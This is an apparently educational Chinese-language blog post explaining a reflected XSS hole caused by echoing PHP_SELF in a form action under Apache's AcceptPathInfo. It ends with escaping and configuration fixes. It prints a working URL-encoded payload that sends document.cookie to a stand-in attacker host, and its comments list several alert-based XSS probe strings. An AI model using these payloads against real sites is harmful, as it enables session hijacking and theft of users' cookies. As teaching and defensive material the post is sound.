2013年11月5日 星期二

XSS (Cross-site scripting) 跨網站指令碼攻擊

[關於 XSS]
XSS (Cross-site scripting) 是利用網站的漏洞,讓使用者在瀏覽網頁時,
不知不覺執行了攻擊者植入的惡意程式。

所以要防範 XSS 攻擊,
就是要避免攻擊者利用特殊方法,在網站植入不該有的程式碼。

比較常見防範 XSS 攻擊的例子,如討論區的留言功能,
幾乎都不允許使用者直接使用 HTML、JavaScript... 這些語法。
因為當使用者,可以任意輸入 HTML、JavaScript,並且正常解析執行,
攻擊者便可以在留言時,留下惡意的程式,
當其他使用者瀏覽這篇留言時,便會執行到惡意的程式。 

[範例說明]
以下要舉的例子,是利用在網址組合出惡意程式碼,當使用者被誘拐點選此惡意網址時,
便可能將瀏覽器的 Cookie 資料傳送給攻擊者。


[環境說明]
伺服器:Apache 2.2.22 + PHP 5.2.17

當 Apache 的 AcceptPathInfo 設定為 On 時 (預設似乎都是如此)
假設有一個網頁是 http://example.com/form.php
在 AcceptPathInfo 為 on 的設定下
你可以用 http://user.example.com/form.php/123.php/more
這樣的形式訪問 http://example.com/form.php

註:AcceptPathInfo 說明 http://httpd.apache.org/docs/2.2/mod/core.html#acceptpathinfo

[XSS漏洞說明]
假設有一網頁表單 http://user.example.com/form.php 程式如下
<form name="form1" method="post" action="<?php echo $_SERVER["PHP_SELF"] ?>">
    其他表單資料..(略)
    <input name="btnSub" type="submit" value="送出">
</form>


正常情況下,瀏覽 http://user.example.com/form.php 時,輸出會是
<form name="form1" method="post" action="/form.php">
    其他表單資料..(略)
    <input name="btnSub" type="submit" value="送出">
</form>


但若用 http://user.example.com/form.php/123.php/more 瀏覽,輸出會是
<form name="form1" method="post" action="/form.php/123.php/more">
    其他表單資料..(略)
    <input name="btnSub" type="submit" value="送出">
</form>


所以攻擊者便可以利用這個特性,讓頁面產生不該有的程式碼。
例如攻擊者,可以組成以下這段網址,想辦法引誘使用者瀏覽。
http://user.example.com/form.php/%22%3E%3Cscript%20type=%27text/javascript%27%3Enew%20Image%28%29.src=%27http://cracker.example.com/xss.php%3Fusercookie=%27+encodeURIComponent%28document.cookie%29;%3C/script%3E%3Cbr%20class=%22

當使用者被誘拐瀏覽上面的惡意網址時,雖然網站是真實的網站,
但網頁內容卻不一樣了,多了其他惡意程式碼,
結果如下:(可以發現紅色字部份,是惡意網址組合出來的)
<form name="form1" method="post" action="/form.php/"><script type='text/javascript'>new Image().src='http://cracker.example.com/xss.php?usercookie='+encodeURIComponent(document.cookie);</script><br class="">
    其他表單資料..(略)
    <input name="btnSub" type="submit" value="送出">
</form>


仔細看組合後的頁面程式碼,可以發現,多執行了一段 JavaScript
new Image().src='http://cracker.example.com/xss.php?usercookie='+encodeURIComponent(document.cookie);
這段 JavaScript,是將使用者在這個網站的 Cookie 資料,
送到攻擊者的 http://cracker.example.com/xss.php 的網站。
攻擊者,便可以利用這些 Cookie 資料,做一些他想做的事。

[瀏覽器測試]
我用這個 XSS 攻擊方式,
測試了三個瀏覽器 IE10、chrome(30.0.1599.101)、Firefox(25.0)

在 IE10、chrome 會出現 XSS 攻擊的訊息,不允許執行。



Firefox 則可以執行,可以發現使用者的 cookie 資料被送到攻擊者的網站



我在攻擊者網站,接收到資料時,將資料寫入資料庫,接收到的資料如下




[防範方式]
此例子中,可以從程式著手,輸出 $_SERVER["PHP_SELF"] 時,將特殊字元編碼。

<?php echo $_SERVER["PHP_SELF"] ?> 改成 <?php echo htmlEntities($_SERVER["PHP_SELF"], ENT_QUOTES, "UTF-8") ?>

如此被植入的惡意程式碼,便不能正常執行。
這也是 FIEO (Filter Input, Escape Output),提到的 Escape Output,對輸出的資料要 escape,因為輸出的資料可能是不安全的。
 
或是,也可以從 Apache 著手,將 AcceptPathInfo 設為 off

當然,解決的方法有很多種,重點就是不要讓使用者植入可以執行的程式碼。

6 則留言:

  1. ●<script>alert(document.cookie)</script>
    ●='><script>alert(document.cookie)</script>
    ●<script>alert(document.cookie)</script>
    ●<script>alert(vulnerable)</script>
    ●%3Cscript%3Ealert('XSS')%3C/script%3E
    ●<script>alert('XSS')</script>
    ●<img src="javascript:alert('XSS')">

    回覆刪除
  2. <script>alert('XSS')</script>

    回覆刪除
  3. <script>alert('XSS')</script>

    回覆刪除
  4. <script>alert('XSS')</script>

    回覆刪除